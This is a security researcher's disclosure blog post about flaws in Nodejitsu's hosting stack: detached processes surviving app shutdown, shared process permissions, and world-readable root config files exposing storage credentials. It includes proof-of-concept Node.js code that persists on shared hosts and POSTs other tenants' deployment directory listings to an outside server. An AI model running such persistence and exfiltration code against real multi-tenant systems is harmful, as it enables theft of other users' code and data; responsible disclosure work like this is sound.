Recently, I was looking at some of Nodejitsu code, namely
solenoid
and forza
since I was planning to use forza
in my pet project. My attention was drawn
to a particular piece of code which had to deal with user permissions. Soon
I realized that I should be able to leave my process running on the VM even
after my application was stopped and execute my child processes with the same
rights as all of the instrumentation. While investigating this particular bug,
I noticed that some of their sensitive configuration files were readable to
world.
Disclosure: I contributed significant amounts of code to projects mentioned here. For details on this, read Infrastructure at Nodejitsu.
Leaving a process running
The possibility of leaving a process running on a VM was caused by the fact
that solenoid
only killed the process it spawned,
which was fine as long as user only spawned processes which remained attached
to their parents.
However, thanks to detach
option of child_process.spawn
, I was able to spawn
a process which called setsid
and became a session leader. Killing parent of
such a process doesn’t affect it in any way. The code I used was:
var http = require('http');
var spawn = require('child_process').spawn;
http.createServer(function (req, res) {
res.end('This is not the application you are looking for.\n');
}).listen(8000);
spawn('node', ['child.js'], { detach: true });
Now, I had child.js
running, and Nodejitsu stack wasn’t able to kill it. Yay!
Unfortunately, Nodejitsu architecture reuses slave servers. Thus, after some time
my process was running alongside a different user’s application. Moving on…
All instrumentation and user processes running with the same permissions
solenoid
spawned all the processes under the same user account.
This, and the possibility of leaving a process running under those permissions
rendered me able to affect their instrumentation and user processes and access
code and environment variables of the next application deployed to this server.
The code I used to verify this was as follows (that’s the child.js
which was
spawned by app.js
):
var fs = require('fs');
var http = require('http');
setInterval(function () {
fs.readdir('/opt/run/snapshot/package', function (err, files) {
var req = http.request({
host: 'mmalecki.com',
port: 1337,
method: 'POST'
});
req.on('error', function (err) {
process.exit();
});
req.write(JSON.stringify({
pid: process.pid,
dir: (err && err.message) || files
}));
req.end();
});
}, 10000);
I started my exploit on enough hosts (with a simple jitsu apps start &&
jitsu apps stop
loop) and soon I was able to confirm that it indeed worked.
Sensitive configuration files readable to world
Doing the course of my investigation, I noticed that their /root
directory
and files in it were readable to world. I took a peek and found .solenoidconf
.
Amongst some boring stuff like paths and node versions it also contained
Nodejitsu’s CloudFiles credentials. Nodejitsu use CloudFiles to store
built application snapshots (so all of their users’ code).
Possible impact of these vulnerabilities
Impact of these issues is quite significant. If I were a malicious attacker, I would be able to:
- fetch, delete and change all of the snapshots
- fetch and manipulate the code, kill user and instrumentation processes on all the hosts I was able to leave my exploit running on
Timeline and Nodejitsu response
Initial response of the Nodejitsu team was almost instantenous. Right after reporting the vulnerability I was on a call with Jarrett, one of their DevOps engineers.
(All times are UTC.)
- March 10th, 04:39: request for a GPG key sent
- March 10th, 04:51: GPG key is received and encrypted report is sent
- March 13th, 03:02: a fix is committed
- March 13th: the aforementioned fix is deployed together with a fix for
/root
permissions
Acknowledgements
Thanks to Charlie McConnell for great advice during the process and Ariën Holthuizen for reviewing this post.
Shameless self-plug
If you’re interested in a professional security audit for your application, I work at YLD, an amazing consulting company. Don’t hesitate to contact us!